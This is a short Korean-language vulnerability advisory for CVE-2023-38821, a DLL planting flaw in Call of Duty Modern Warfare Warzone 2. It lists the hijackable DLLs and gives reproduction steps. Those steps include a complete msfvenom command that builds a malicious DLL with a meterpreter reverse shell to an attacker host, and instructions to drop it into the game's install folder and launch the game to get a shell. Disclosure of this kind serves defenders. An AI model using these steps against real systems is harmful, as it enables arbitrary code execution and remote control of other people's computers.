CoD-MW-Warzone-2 - CVE-2023-38821

DLL Planting in the CoD MW Warzone 2 - CVE-2023-38821 발견자: Idan Malihi

설명

Activision Call of Duty Modern Warfare: Warzone v.2의 문제로 인해 로컬 공격자가 UMPDC.dll, MSIMG32.dll, RTWorkQ.DLL, WINSTA.dll, CRYPTSP.dll, dnsapi.dll, MSASN1.dll, webio.dll, fwbase.dll, ncrypt.dll 및 DPAPI.DLL 구성 요소에 조작된 파일을 통해 임의 코드를 실행할 수 있습니다.

재현 단계

DLL Planting 취약점을 악용하려면 공격자는 다음 단계를 수행해야 합니다.

1. Steam을 다운로드합니다.
2. Call of Duty Modern Warfare 2 Warzone을 다운로드하여 설치합니다.
3. 설치 경로 폴더(예: D:\STEAM\steamapps\common\Call of Duty HQ)를 엽니다.
4. Kali Linux OS에서 msfvenom을 사용하여 악성 DLL 파일을 생성합니다. msfvenom -p windows/x64/meterpreter/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o RTWorkQ.DLL
5. DLL 파일을 게임 경로 D:\STEAM\steamapps\common\Call of Duty HQ로 전송합니다.
6. 게임을 실행하고 리버스 셸을 획득합니다.